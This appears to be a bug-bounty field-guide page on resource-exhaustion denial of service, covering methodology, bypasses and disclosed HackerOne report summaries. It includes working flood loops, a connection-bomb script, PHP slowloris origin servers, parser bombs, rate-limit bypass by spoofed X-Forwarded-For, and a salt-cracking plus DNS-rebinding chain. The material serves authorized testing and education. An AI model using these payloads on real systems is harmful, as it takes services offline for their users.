⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Denial of Service
Vulnerabilities

Denial of Service

Specimens 296No direct PortSwigger lab

§Basic information

Resource-based Denial of Service is making a target unavailable — or unaffordable — by driving it to exhaust a finite resource: CPU, memory, disk, file descriptors, connections, entropy, a thread/worker pool, or even an in-process accounting counter. The interesting bugs are not volumetric floods; they are asymmetric — one crafted request, or one stored value, does disproportionate or unbounded work.

The shape to hunt is always the same: small, cheap input → unbounded work or unbounded storage → and can that survive to be replayed or re-rendered. A maxlength on the DOM with no matching server validation, a parser with a recursion limit set too high, a Buffer(x) where x can be a number, an outbound fetch you control the response to, a request slice indexed with x[0] before a length check — each is a one-request takedown. The strongest cases chain a store-once value into a render-many surface, or fuse several minor flaws into a permanent, low-bandwidth outage.

§Methodology

  1. Enumerate finite resources per request/state. For every endpoint and every stored field ask: what does this allocate, parse, fetch, or write, and is the amount attacker-controlled and unbounded?
  2. Probe field limits first. Find a UI maxlength / client-side cap, then resend the API or GraphQL mutation past it. 500 (not 400) = missing server validation.
  3. Measure the derivative, not the value. Time the response as you scale one input (nesting depth, activity count, name length). Non-linear latency growth = an amplification sink.
  4. Follow the stored value to every render surface. An oversized value fetched on one page may fan out to a participants list, contact list, or mobile app for many viewers.
  5. Turn outbound fetch inward. Point any webhook / URL-preview / importer / image proxy at a host you control and abuse the response (slow drip, infinite chunked body, ReDoS header).
  6. Confirm survivability. Can the trigger be replayed cheaply, stored, or fired unauthenticated (late CSRF/nonce)? A one-shot crash of a shared process is worth more if it stays down.
# Baseline limit probe: resend the mutation with an oversized field, watch 500 vs 400. POST /graphql HTTP/1.1 Host: TARGET Content-Type: application/json {"query":"mutation{updateProfile(name:\"AAAA...<200000 chars>...\"){id}}"}

§Technique variants

Group your candidate by which resource it exhausts, then use the matching primitive.

Missing server-side length/size limit

The UI caps a field; the API does not. Resend past the cap: an oversized value either 500s the backend or is stored and re-rendered for others. This is the single most common resource-DoS in the corpus.

# Client caps title/description; the create/edit API accepts megabytes. # ~200KB -> stored client DoS; ~2MB -> backend 500 before 413 fires. POST /moments HTTP/1.1 Host: TARGET Content-Type: application/json {"title":"<200001 chars>","description":"","is_production_only":true}
# Oversized FILENAME (not file body) stored on an avatar; re-rendered on every # profile / report / participants fetch -> browser timeout for every viewer. Content-Disposition: form-data; name="file"; filename="<3MB of chars>abc.png"

Store-once, render-many

Bypass the client cap, store the bloated/malformed value once, then trigger the render surface that fans out to many viewers. A malformed URL, a heavy Mermaid diagram, or a giant relative-link path in markdown crashes each renderer.

# Plant the oversized value, then load a page that renders it for others and # watch load-time / hang in DevTools. Stored client DoS = one write, many victims. curl -s https://TARGET/reports/NNNNNN/participants/ # returns megabytes per view

Expensive endpoint + cheap state inflation

Find a response whose cost grows O(n) with accumulated state (activities, comments, tree size), then pre-inflate that state cheaply so the endpoint always blows a proxy/CDN timeout. Combine with parallel requests for a permanent, low-bandwidth takedown.

# O(n)-in-state JSON with no per-endpoint rate limit: ~10 parallel = site paralysis. for ((x=0; x<10; x++)); do ( curl https://TARGET/reports/NNNNNN.json & ); done # Make it permanent: replay a bulk POST to add ~1000 tiny (0.001) activities # until the response crosses the 30s CDN cutoff -> the report never loads again.

Parser bomb (depth / duplicate-key / object explosion)

Attack the parser, not the app. A recursion limit set too high plus a body-size budget is enough to pin CPU. Duplicate-key tolerance lets you keep the request semantically valid (last-wins) while an earlier copy carries the bomb. Object-heavy deserializers amplify small inputs by orders of magnitude.

# Depth-98 objects repeated ~1747x under the 1MB cap; duplicate "params" (last wins) # keeps the RPC valid while the earlier copy pins the receive thread's CPU. {"jsonrpc":"2.0","id":"0","method":"get_info","params":{"a":{"a":{"a":"...x98..."}}},"params":{"real":"args"}}

Server-side outbound fetch (slowloris / unbounded / ReDoS)

Webhooks, URL previews, importers, and image proxies fetch an attacker-controlled origin. You control the response: drip a few KB every 9s to hold a worker forever, stream unbounded chunked data with no Content-Length, or feed a header that triggers catastrophic regex backtracking in the client's own parser.

// reverse-slowloris origin: a few KB every 9s, chunked -> one fetch worker held forever <?php header('HTTP/1.1 500'); header('Content-Type: image/png'); for ($i = 0; $i < 200; $i++) { echo str_pad('hi', 4096, 'hiho'); flush(); sleep(9); } ?>
// unbounded chunked body: no Content-Length -> proxy buffers gigabytes into memory <?php header('HTTP/1.1 500'); header('Content-Type: image/png'); $b = str_pad('hi', 1024 ** 2, 'hiho'); $t = 1024 ** 3; while ($t > 0) { echo $b; $t -= 1024 ** 2; } ?>
# net/http ReDoS: a header value of many spaces NOT ending in a space -> quadratic sub. # Read/connect timeouts DON'T fire: they are checked between header lines, never mid-regex. HTTP/1.1 200 OK X: a<950000 spaces>b

Type confusion → oversized allocation (Node Buffer)

Attacker-typed JSON reaches a legacy Buffer(x) constructor. When x is a number, Buffer(n) allocates n bytes — a huge value burns CPU/memory, and on Node < 8 the buffer is uninitialized and leaks process memory into the response. Grep deps for new Buffer( / Buffer( with non-string args.

// The field is "meant" to be a string; JSON lets you send a Number to hit Buffer(size). var client = require('memjs').Client.create(); setInterval(function () { client.set('key', 2e9, { expires: 600 }, function () {}); }, 200); // leak (Node<8): client.set('key', 100, ...); client.get('key', (e, v) => console.log(v));

Prototype pollution → guaranteed DoS

A __proto__ / constructor.prototype path through a deep-merge or lodash _.set sink writes onto Object.prototype. Pollution alone is inert — the DoS lands when you poison a property that a downstream sink dereferences unguarded (an options object, a formatter, a numeric parser like bignumber.js), so every later object inherits the poisoned value and the sink throws. JSON.parse is the delivery vehicle: unlike an object literal, it produces an own __proto__ key a naive recursive merge will walk into.

// Deep-merge sink writes onto Object.prototype; a poisoned key a later sink // reads unguarded (options/formatter/parser) then throws -> reliable DoS gadget. merge({}, JSON.parse('{"__proto__":{"blah":"crash"}}'));

Filesystem / accounting exhaustion

Mint unbounded server-side files keyed on an attacker-controlled cookie, disk-fill via container config, or drive a global counter whose increment and decrement live on asymmetric code paths until a limit (OOM guard) trips.

# Each unique session-id cookie writes a *.cache file to a tiny /run tmpfs -> brick a router. for i in $(seq 1 20000); do curl -s -o /dev/null "http://TARGET/" -H "Cookie: beaker.session.id=sess$i" done

One-shot crash of a shared process

Reach a handler that indexes or parses request data without a guard; an unrecovered panic/assert takes down the whole process and anything co-hosted. High blast radius when the crashed component gates cluster-wide operations.

// Empty ciphertext -> Ciphertext[0] index panic kills the KMS provider (V1+V2 share it) // -> all Kubernetes Secret encryption/decryption blocked. client.Decrypt(ctx, &v2pb.DecryptRequest{Ciphertext: []byte{}}) // panic: runtime error: index out of range [0] with length 0

Consensus / protocol edge cases

Unbounded user inputs into arbitrary-precision math, malformed protocol lengths, or expensive precompiles stall or halt a node. When reviewing a security patch, hunt the other failure branches of the same call the fix guarded.

# Unbounded group weights feed a decimal division that can fail beyond div-by-zero: # member A weight = "1e-50000", B = "1e50000"; A votes yes -> # yesCount.Quo(totalPower) => "exponent out of range" -> panic in EndBlocker -> chain halt.
● NOTE
alert-grade proof does not apply here — a 500 or a spinning worker is the tell. Confirm the resource actually stays exhausted (CPU pinned, disk full, process down, counter stuck) rather than a transient blip, and record the input-to-work ratio: that asymmetry is the severity.

§Bypasses

Filter / controlBypassSeen in
UI maxlengthresend the API/GraphQL mutation past the client cap — no server validation#764434, #887321
413 Payload-Too-Large~200KB payload stays under 413 yet still crashes the mobile renderer#819088
Body-size cappack a depth-98 nesting bomb under the 1MB limit — recursion cost, not size, does the work#2677306
Duplicate-key validationduplicate params/field — last-wins keeps the request valid while an earlier copy carries the bomb#2677306
Read/connect timeoutnet/http ReDoS hangs inside the regex; timeouts are only checked between header lines#1531958
Content-Length size guardchunked (Transfer-Encoding: chunked) response hides the true size from any length cap#507525
Response cachereturn 500 or append ?rand=RAND so every proxy hit re-fetches#507525
Per-IP rate limitrotate X-Forwarded-For per request to evade throttling#723974
String-type assumptionsend a JSON Number where a String was expected → Buffer(size) allocation#319809, #319532
Prototype-pollution guard__proto__ / constructor.prototype path via deep-merge or _.set#310514, #916430
CSRF token / noncenonce checked after the expensive op runs → unauthenticated trigger#163307
▲ WARNING
A "missing rate limit" or "no maxlength" with no demonstrated consequence closes as informative. You must show the resource actually exhausting — a 500, a stored crash for other users, a bricked device, a halted node. The UI cap is not a control; the impact of removing it is the finding.

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 296 in this class.

Real-world example

Batched JSON-RPC deadlock paralyzes Monero node

◆ Critical
Specimen #3307874 · monero · none · 92 votes · resolved
Program moneroSurface network

Root cause

Handling batched JSON-RPC requests, Monero RPC threads enter a circular wait on shared resources, deadlocking the node; a single unauthenticated HTTP request with the right batch methods paralyzes RPC/P2P/admin and only kill -9 recovers it.

Method

  1. Send an HTTP JSON-RPC request with a batch mixing valid, invalid and resource-heavy methods
  2. Repeat/parallelize (adaptive to 413/429) to drive threads into circular wait
  3. Node becomes fully unresponsive; SIGTERM/SIGINT ignored, requires SIGKILL
POST /json_rpc with a JSON array batch of mixed methods (get_block_headers_range, get_output_distribution, malformed entries) sent from many threads

Insight — Batch/multiplexed RPC endpoints that take shared locks per sub-request are prime deadlock DoS targets. Test batching valid+invalid+heavy methods together; a deadlock (vs slowdown) means even restarts hang -> critical availability bug.

Real-world example

Unbounded request-body buffering exceeds V8 max string length (Fastify crash)

◆ Critical
Specimen #303632 · nodejs-ecosystem · awarded · 25 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

Fastify (<=0.37.0) accumulated the full request payload as a single string before JSON.parse, with no size limit. A large streamed application/json body grows the string past V8's max string length (~2^30-25 bytes), throwing an uncaughtException that crashes the process, or exhausts memory first (CVE-2018-3711).

Method

  1. Confirm the app is Fastify with a JSON body route and no reverse-proxy body-size cap
  2. POST Content-Type: application/json and stream a payload larger than V8's max string length (~1GB)
  3. Process crashes with uncaughtException; a few parallel requests OOM it quickly
POST / with Content-Type: application/json, stream ~1GB+ of bytes (e.g. write a 100KB Buffer 20000 times before ending the request)

Insight — Frameworks that buffer the whole body as a string/Buffer before parsing are memory/crash DoS targets when no size limit precedes parsing. Test with oversized bodies; the V8 max-string-length crash is distinctive. Mitigate with a body-size limit at the proxy and framework level.

Real-world example

WordPress wp-cron.php request flood

◆ Critical
Specimen #1888723 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web

Root cause

WordPress runs scheduled tasks by having every front-end visit hit wp-cron.php, which is unauthenticated and unthrottled. Directly flooding wp-cron.php forces the server to spin up expensive cron runs per request, exhausting resources (502).

Method

  1. Confirm /wp-cron.php is reachable
  2. Flood it with concurrent requests (e.g. doser.py)
  3. Server resources exhaust; site returns 502
python3 doser.py -t 999 -g 'https://TARGET/wp-cron.php'

Insight — On any WordPress target, wp-cron.php is a free unauth resource-amplification endpoint. Remediation (and detection of a hardened target) is DISABLE_WP_CRON=true + real server cron. Pair this test with load-scripts.php (see #690330).

Real-world example

Malformed subjectAltName crashes Node TLS server (getPeerCertificate)

◆ Critical
Specimen #746733 · nodejs · awarded · 15 votes · resolved
Program nodejsSurface other

Root cause

A client certificate carrying an unexpected ASN.1 string type (type 19) in its subjectAltName triggers an assertion in node_crypto.cc when the server reads the peer certificate, remotely crashing any TLS server that calls getPeerCertificate() with requestCert enabled.

Method

  1. Use node-forge to build a client cert with an odd-typed string in subjectAltName
  2. Connect to a Node TLS server that has requestCert:true and calls socket.getPeerCertificate()
  3. Server hits an assertion and crashes -> remote DoS
// server calls socket.getPeerCertificate() on a client cert whose SAN uses ASN.1 type 19 -> assertion crash

Insight — Certificate parsers assert or crash on malformed-but-parseable fields (unusual ASN.1 string types in SAN/CN). Fuzz certificate fields against any service that requests/parses client certs; an attacker-supplied cert is a reachable input.

Real-world example

Node.js HTTP/2 reachable assert via malformed SETTINGS frames

◆ Critical
Specimen #800140 · nodejs · USD 250 · 14 votes · resolved
Program nodejsSurface web

Root cause

A malformed HTTP/2 SETTINGS frame reaches an internal assertion in node_http2.cc; sending ~25 in a row makes the process abort with SIGABRT — an unauthenticated remote crash.

Method

  1. Complete the HTTP/2 connection preface to a target h2 server
  2. Open a connection and send the malformed SETTINGS (settings-anomaly) frame repeatedly (~25x)
  3. Node process hits the assert and exits with SIGABRT
# send crafted malformed HTTP/2 SETTINGS frame in a loop on a fresh connection until SIGABRT (~25 iterations)

Insight — Reachable asserts in protocol parsers are DoS gold: fuzz framed binary protocols (HTTP/2, QUIC, WebSocket) with malformed control frames and watch for abort()/assertion exits rather than graceful errors.

Real-world example

Buffer(int) allocation DoS + uninitialized-memory leak in memjs (CVE-2018-3767)

◆ Critical
Specimen #319809 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface apiChain Buffer(int) -> DoS; and (Node<8) uninitialized memory

Root cause

memjs passes an attacker-controlled value straight to the legacy Buffer constructor; a numeric value makes Buffer(number) allocate that many bytes (huge -> DoS) and on Node <8 returns uninitialized memory that gets stored and later readable (info leak).

Method

  1. Reach a sink where typed/JSON input sets the memcache 'value' (e.g. a number)
  2. Set value to a large integer (e.g. 2e9) -> Buffer(2e9) allocates ~2GB per call -> DoS
  3. On Node <8, set value to a small int, store, then GET to read leaked uninitialized memory
var client = require('memjs').Client.create(); function tick(){ client.set('key', 2e9, {expires:600}, ()=>{}); } setInterval(tick, 200); // leak (Node<8): client.set('key',100,{expires:600},()=>{}); client.get('key', (e,v)=>console.log(v));

Insight — Any code path where user input reaches Buffer(x)/new Buffer(x) with x possibly a Number is both a memory-DoS and (pre-Node-8) an uninitialized-memory disclosure. Grep for Buffer( with non-string args; JSON gives attackers type control.

Real-world example

WordPress load-scripts.php unauthenticated resource-exhaustion amplification (CVE-2018-6389)

◆ Critical
Specimen #1887996 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web

Root cause

wp-admin/load-scripts.php concatenates every script handle named in the load= list without authentication; requesting the full list of ~180 registered handles forces heavy CPU/IO per request, and the request is unauthenticated so it amplifies trivially.

Method

  1. Confirm /wp-admin/load-scripts.php (and load-styles.php) are reachable without auth.
  2. Request load= with the complete registered handle list to maximise work per request.
  3. Drive it concurrently (e.g. doser.py) to exhaust the server.
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,jquery,jquery-ui-core,...,svg-painter HTTP/1.1 # tool: python3 doser.py -g "https://TARGET/wp-admin/load-scripts.php?load=<full-handle-list>"

Insight — Look for unauthenticated asset-concatenation/bundler endpoints that accept a caller-supplied list of modules; the amplification factor is the number of items you can name in one request. Same pattern on load-styles.php.

Real-world example

Slow-request / never-complete connection exhaustion (Slowloris family) against network daemons

◆ Critical
Specimen #868834 · nodejs · 250 · 8 votes · resolved
Program nodejsSurface web

Root cause

A server that accepts connections but imposes no (or a disabled/too-large) timeout on completing the request phase can be tied up by many connections that send headers/body one byte at a time or never finish; sockets/threads/fd's are held until exhaustion (Node CVE-2020-8251; Node changed default request timeout to 0 in 13.0.0 removing the countermeasure).

Method

  1. Open many connections to the target service.
  2. Send a partial request and then trickle bytes (or nothing) to keep each connection alive below any idle timeout.
  3. Keep opening connections until the server can no longer accept new ones / runs out of workers or file descriptors.
  4. Variant (fd/connection flood #543782): simply open the maximum number of concurrent sockets and hold them idle.
# slow body variant (Node/body-parser, #799072): GET / HTTP/1.1\r\nHost: T\r\nContent-Type: application/json\r\nContent-Length: 5000\r\n\r\n[" <- then write 1 byte/sec # connection-bomb variant (Monero, #543782): import socket,resource; resource.setrlimit(resource.RLIMIT_NOFILE,(131072,131072)) c=[] while True: c.append(socket.create_connection(("TARGET",18080))) # slowloris variant (Monero RPC, #416494): 1000 sockets, headers at 700ms intervals

Insight — On any long-lived service (HTTP, RPC daemon, P2P port) test for: (1) no request-completion timeout, (2) unbounded concurrent connections, (3) no per-IP connection cap. Header-only timeouts do not cover the body phase; body-parsing is app-level and usually unguarded.

Real-world example

WordPress load-scripts.php unauthenticated resource-exhaustion (CVE-2018-6389)

◆ Critical
Specimen #1861569 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web

Root cause

WordPress load-scripts.php (admin script concatenator) is reachable pre-auth and will read+concatenate every registered handle passed in load=, with no count/size limit, so one request forces the server to assemble a huge bundle; repeated requests deplete CPU/IO.

Method

  1. Confirm target is WordPress with load-scripts.php reachable
  2. Request /wp-admin/load-scripts.php?load=<all registered handles> (full list from wp-includes/script-loader.php)
  3. Repeat/parallelize; server resources are depleted
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,jquery,jquery-ui-core,...,svg-painter HTTP/1.1 Host: TARGET # full comma-separated handle list from wp-includes/script-loader.php; loop this request

Insight — Any framework endpoint that bundles/minifies a caller-specified list of assets with no cap is a pre-auth DoS. Look for asset concatenators (load-scripts.php, load-styles.php, combine=..., ?files=a,b,c). Cheap request, expensive server-side assembly = asymmetric amplification.

Real-world example

Bypass localhost/IP blacklist via signed-param crack + DNS rebinding to reach DDoS/SSRF target

◆ Critical
Specimen #1065493 · h1-ctf · none · 4 votes · resolved
Program h1-ctfSurface webChain salt brute-force -> forged signed param -> DNS rebindiTag cloud-aws

Root cause

Server signs a `target` param with md5(salt+value) and blacklists 127.0.0.1 by resolving the hostname once; the salt is brute-forceable and the resolve-check/resolve-use gap allows DNS rebinding to a blacklisted IP.

Method

  1. Recover HMAC/signature salt: build wordlist of `salt+message`, hashcat -m0 against the known md5(salt+value) to bypass integrity check
  2. Point target at a hostname you control that resolves to a whitelisted IP then to 127.0.0.1 with short TTL (rbndr.us)
  3. Sign the rebinding hostname with the cracked salt; server passes blacklist on first resolve, then hits 127.0.0.1 on second resolve
# crack salt cat rockyou.txt | awk '{print $0"203.0.113.33"}' > wl.txt hashcat -m 0 -a 0 hash.txt wl.txt # -> mrgrinch463 # rebinding host 7f000001.cb007121.rbndr.us (whitelist->127.0.0.1) echo -n mrgrinch4637f000001.cb007121.rbndr.us | md5sum {"target":"7f000001.cb007121.rbndr.us","hash":"54171d97f5299ef84c1c01a676eaa917"}

Insight — When an app 'protects' a param with md5(secret+value), it is a crackable salted hash, not an HMAC-key; recover the salt offline. IP blacklists that resolve-then-resolve are defeated by DNS rebinding (rbndr.us / lock.cmpxchg8b.com) with low TTL.

Real-world example

HTTP/2 unknownProtocol: no session timeout -> FD/memory leak

◆ Critical
Specimen #1043360 · nodejs · awarded · 3 votes · resolved
Program nodejsSurface apiTag webhook

Root cause

Node http2 server waits indefinitely for a client response to the 'unknownProtocol' error; if the attacker opens many connections then goes silent, sockets/file descriptors and memory are never released (leak until FD limit / OOM).

Method

  1. Open many TCP/TLS connections to an http2 server sending data that fires the unknownProtocol event
  2. Close early or never respond to the error message
  3. FDs and memory grow unbounded (>7000 FDs, 400MB in ~30s) and are never freed
# open thousands of connections, send garbage that triggers 'unknownProtocol', then stall # server never times out the session -> FD + heap leak until FD limit / OOM # fix pattern: on('unknownProtocol', s => { const t=setTimeout(()=>!s.destroyed&&s.destroy(),10000); t.unref(); s.once('close',()=>clearTimeout(t)); s.end(); })

Insight — For any event/error handler that emits a message and awaits a client reply, ask 'what if the client never replies?' Missing forced-destroy timeouts on error paths leak FDs/memory. Vuln scanners (OpenVAS/Greenbone) that half-open connections surface these.

Real-world example

Rate-limit bypass via rotating X-Forwarded-For

◆ High
Specimen #723974 · moneybird · awarded · 163 votes · resolved
Program moneybirdSurface webChain rate-limit bypass -> email flooding / brute force / DoS

Root cause

The rate limiter keyed on the client IP taken from a spoofable X-Forwarded-For header; sending a fresh random XFF per request never triggers the 429, enabling brute force, email flooding and DoS.

Method

  1. Trigger a rate-limited action (password reset) and confirm 429 after N requests
  2. Add X-Forwarded-For with a random IP on each request
  3. Observe requests never hit 429; scale to flood the target
POST /passwords HTTP/1.1 Host: TARGET X-Forwarded-For: 1.2.3.<random> email=victim@example.com

Insight — If a 429 disappears when you vary X-Forwarded-For / X-Real-IP / X-Client-IP, the limiter trusts a client header. This unlocks flooding/brute-force/email-bomb DoS. Always test rate limits with a rotating XFF.

Real-world example

Unbounded display name -> server 500 + Android crash + contact-list DoS

◆ High
Specimen #1018037 · basecamp · 1000 · 131 votes · resolved
Program basecampSurface web

Root cause

The user display name has no length validation; a very long name causes a 500 on the backend and, because the name is rendered in inbox/contacts/message views, hangs or crashes clients (notably the Android app) wherever it appears.

Method

  1. PATCH the profile name to an extremely long value via /contacts/{id}/user/edit
  2. Longer values return 500 (server-side resource consumption)
  3. Send a message from the long-named account; every folder/contact view showing it slows drastically or the app hangs
name=<very long string, several hundred KB> (submitted to /contacts/<id>/user/edit)

Insight — Names/identifiers rendered across many surfaces are high-leverage DoS fields: one oversized value degrades every view that lists the user. Always test length limits on names, both server (5xx) and client (render hang).

Real-world example

Negative RLP length -> infinite UDP-processing loop / OOM (RSKJ node)

◆ High
Specimen #2105808 · rootstocklabs · 5000 · 120 votes · resolved
Program rootstocklabsSurface network

Root cause

The RLP decoder's bytesToLength can return a negative value making the decoded length 0 while the read position stays unchanged; the UDP handler then loops forever on the same packet, blocking all other packets and eventually OOM-crashing the node.

Method

  1. Run the RSKJ node exposing the UDP discovery port (5050)
  2. Send a crafted UDP packet whose RLP-encoded length field decodes to a negative/zero length
  3. The server processes only that one packet forever, ignoring all peers, and crashes OOM after minutes
Crafted UDP packet with an RLP length prefix chosen so RLP.decode2/bytesToLength returns a negative value (length -> 0, position not advanced).

Insight — In binary/length-prefixed parsers, a length that can go negative or zero without advancing the cursor is an infinite-loop DoS. Audit decoders (RLP, protobuf, custom TLV) for missing 'length must be > 0 and cursor must advance' checks.

Real-world example

Chain halt via decimal exponent-out-of-range (incomplete div-by-zero fix)

◆ High
Specimen #3018307 · cosmos · $15000 · 88 votes · resolved
Program cosmosSurface otherChain Malicious group weights -> failing decimal division ->

Root cause

A prior fix guarded only the div-by-zero case of a decimal Quo, but Quo can also fail with 'exponent out of range'; with no bounds on group member weights, crafted extreme weights make the tally division error and panic in the EndBlocker, halting the chain.

Method

  1. Read the patch for the original advisory and identify the remaining unhandled error paths of the same operation
  2. Create a group whose members have extreme weights (e.g. 1e-50000 and 1e50000)
  3. Submit and vote yes with the tiny-weight member
  4. doTallyAndUpdate's yesCount.Quo(totalPower) returns 'exponent out of range', panics in EndBlocker -> chain halt
// members with unbounded weights // member A weight = "1e-50000", member B weight = "1e50000" // A votes yes -> yesCount.Quo(totalPowerDec) => "decimal quotient error: exponent out of range" // panic reached from EndBlocker => full chain halt

Insight — When reviewing a security patch, don't stop at the one error branch it guarded. Ask what OTHER conditions the same call can fail under (overflow, exponent range, precision) and whether inputs feeding it are bounds-checked. Unbounded user-supplied weights/amounts into arbitrary-precision math are a reliable panic/DoS source.

Real-world example

modexp precompile bug -> 8-minute EVM stall via crafted contract

◆ High
Specimen #2412583 · rootstocklabs · awarded · 84 votes · resolved
Program rootstocklabsSurface network

Root cause

A bug in the modexp (0x05) precompile lets a crafted contract cause disproportionately long computation / memory allocation relative to gas charged, so a single transaction stalls execution for minutes and can OOM the node -> network stall.

Method

  1. Deploy/execute the crafted bytecode that repeatedly invokes the modexp precompile with adversarial parameters
  2. Measure execution: a small gas budget yields ~8 min real time / OutOfMemoryError
  3. At network scale this stalls block processing
EVM bytecode invoking modexp (precompile 0x05) with crafted base/exponent/modulus sizes; see report PoC hex (3332335b59313660d5...).

Insight — Precompile gas metering that underprices worst-case inputs is a consensus-level DoS. When auditing EVM chains, stress precompiles (modexp, pairing, ecrecover) with adversarial large operands and compare wall-time vs gas charged.

Real-world example

Oversized draft payload bypasses validation -> Discourse resource exhaustion

◆ High
Specimen #3400140 · discourse · 1024 · 83 votes · resolved
Program discourseSurface web

Root cause

POST /drafts.json accepts ~800k-char payloads that normal post validation would reject; the server processes and still saves the draft despite returning 502, and multiple large drafts push response times past 30s -> resource exhaustion.

Method

  1. Log in and intercept a draft-save request (POST /drafts.json)
  2. Set the draft content to an ~800,000-char payload
  3. Submit; get 502 but the draft is saved. Create several unique large drafts (distinct keys) in parallel
  4. Observe response times climbing to 30s+ for other requests
POST /drafts.json with draft/data field = ~800,000 char string (unique draft_key per request to avoid 'already editing')

Insight — Secondary/auxiliary endpoints (drafts, autosave, previews) often skip the strict validation of the primary action, becoming an unvalidated large-payload sink. Hunt for endpoints that persist content without the main size/format checks.

Real-world example

HTTP/2 CONTINUATION + abrupt close -> Node Http2Session assertion crash (CVE-2024-27983)

◆ High
Specimen #2319584 · nodejs · none · 65 votes · resolved
Program nodejsSurface other

Root cause

Sending HEADERS + CONTINUATION frames without END_HEADERS and then abruptly closing the TCP connection leaves nghttp2 memory non-zero when the Http2Session destructor runs, tripping CHECK_EQ(current_nghttp2_memory_,0) and aborting the process.

Method

  1. Open a TCP connection to a Node HTTP/2 server (h2c or TLS)
  2. Send init frames, a HEADERS frame (no END_HEADERS), and a CONTINUATION frame (no END_HEADERS)
  3. Abruptly close the TCP connection to trigger the destructor mid-processing
  4. Loop to keep crashing; requests never complete so they are absent from logs
HTTP/2: SETTINGS + HEADERS(GET /, no END_HEADERS) + CONTINUATION(1 header, no END_HEADERS) then RST/close TCP. (Go PoC exploit2.go in report)

Insight — HTTP/2 CONTINUATION handling + abrupt teardown is a rich crash surface (memory accounting/assertions). Because incomplete requests never form a full HTTP request, they evade logging and rate limits. Test partial HEADERS/CONTINUATION then RST against any HTTP/2 stack.

Real-world example

Tomcat HTTP/2 stream miscount -> infinite timeout connection leak (CVE-2024-34750)

◆ High
Specimen #2586226 · ibb · 4920 · 60 votes · resolved
Program ibbSurface other

Root cause

Under excessive HTTP/2 headers, Tomcat miscounts active HTTP/2 streams, which leads it to apply an incorrect infinite timeout so connections that should be closed stay open, exhausting memory or reaching maxConnections.

Method

  1. Open HTTP/2 connections to an affected Tomcat (9.0.0-M1..9.0.89 / 10.1.0-M1..10.1.24 / 11.0.0-M1..M20)
  2. Send streams with excessive headers so active-stream counting is wrong
  3. Connections get an infinite timeout and are never closed; repeat to exhaust memory / maxConnections
HTTP/2 streams carrying excessive header counts, sized to break Tomcat's active-stream accounting.

Insight — State counters that gate timeouts (active streams, in-flight requests) are DoS targets: make the count wrong and resources are never reclaimed. For HTTP/2 servers, probe excessive-headers / stream-count edge cases and watch for never-closing connections.

Real-world example

Range header amplification DoS

◆ High
Specimen #2520679 · ibb · USD 5420 · 56 votes · resolved
Program ibbSurface web

Root cause

Rack::File / Rack::Utils.byte_ranges honored crafted multi-range Range request headers, letting a small request force the server to buffer/emit an unexpectedly large response (CVE-2024-26141).

Method

  1. Target a Rack/Rails app serving files via Rack::File
  2. Send a Range header with many/overlapping crafted byte ranges
  3. Server assembles a disproportionately large response
  4. Repeat to exhaust bandwidth/memory
GET /asset HTTP/1.1 Host: TARGET Range: bytes=0-0,0-1,0-2,... # many crafted ranges -> oversized response

Insight — Range header parsing is a recurring DoS sink: multi-range requests can amplify output far beyond the resource size. Audit any file-serving middleware for range-count/size caps.

Real-world example

ReDoS in Ruby Time.rfc2822 reachable via request header (CVE-2023-28756)

◆ High
Specimen #1929567 · ibb · 4000 · 51 votes · resolved
Program ibbSurface other

Root cause

Ruby's Time parser (Time.rfc2822 / time gem <=0.2.1, Ruby <=2.7.7) backtracks on invalid strings with specific characters; because Rack::ConditionalGet parses request date headers with Time.rfc2822, a crafted header triggers ReDoS remotely (Rails uses ConditionalGet by default).

Method

  1. Send a request through a Rails/Rack app using Rack::ConditionalGet
  2. Set a conditional date header (e.g. If-Unmodified-Since) to a malicious string that maximizes Time.rfc2822 backtracking
  3. Request handling CPU spikes
# reachable sink: Rack::ConditionalGet parses header via Time.rfc2822(header_value) # supply an invalid rfc2822 date crafted for catastrophic backtracking in the Time regex If-Unmodified-Since: <long malformed rfc2822-ish date string>

Insight — Trace library ReDoS to a remotely reachable sink before dismissing it as 'low'. Standard-library date/time parsers invoked on attacker-controlled HTTP headers (via framework middleware defaults) turn an internal ReDoS into an unauthenticated request-level DoS.

Real-world example

Memory exhaustion via unbounded collection in P2P peer discovery

◆ High
Specimen #363636 · rootstocklabs · 4000 · 50 votes · resolved
Program rootstocklabsSurface network

Root cause

When the node distance table (cap 4096) is full, extra handshakes create entries in NodeChallengeManager.activeChallenges, but entries are only removed if the peer replies to the challenge ping; a peer that never replies leaves entries forever, and the map is never purged, so unique NodeIDs accumulate until JVM OutOfMemoryError.

Method

  1. Complete ping<->pong handshakes with the target using random unique NodeIDs to fill the distance table
  2. Continue handshakes so each triggers startChallenge() -> a new activeChallenges entry
  3. Never answer the challenge ping; entries accumulate (map never purged) until ~200k insertions crash the JVM
# flood target with handshakes bearing random NodeIDs, disconnect before answering challenge: # PeerFlood <local_addr> <target_addr> <target_port> <num_threads> # each thread: send ping, receive pong+ping, send pong (fills distance table), then ignore challenge ping

Insight — In stateful network/P2P code look for maps/queues that are added-to on one event but only removed on a response the attacker controls (or never), with no size cap or TTL sweep. Identity keyed by attacker-chosen ID (NodeID) rather than host/port defeats per-source rate limits.

Real-world example

Infinite loop in PHP convert.iconv stream filter (CVE-2018-10546)

◆ High
Specimen #505278 · ibb · awarded · 44 votes · resolved
Program ibbSurface other

Root cause

PHP's convert.iconv.* stream filter with //IGNORE enters an endless loop on certain byte sequences, spinning a worker at 100% CPU; reachable anywhere user data is passed through iconv stream filters.

Method

  1. Attach the convert.iconv.iso-10646/utf8//IGNORE filter to a stream containing triggering bytes
  2. Read the stream
  3. The PHP process loops forever, exhausting CPU / php-fpm workers
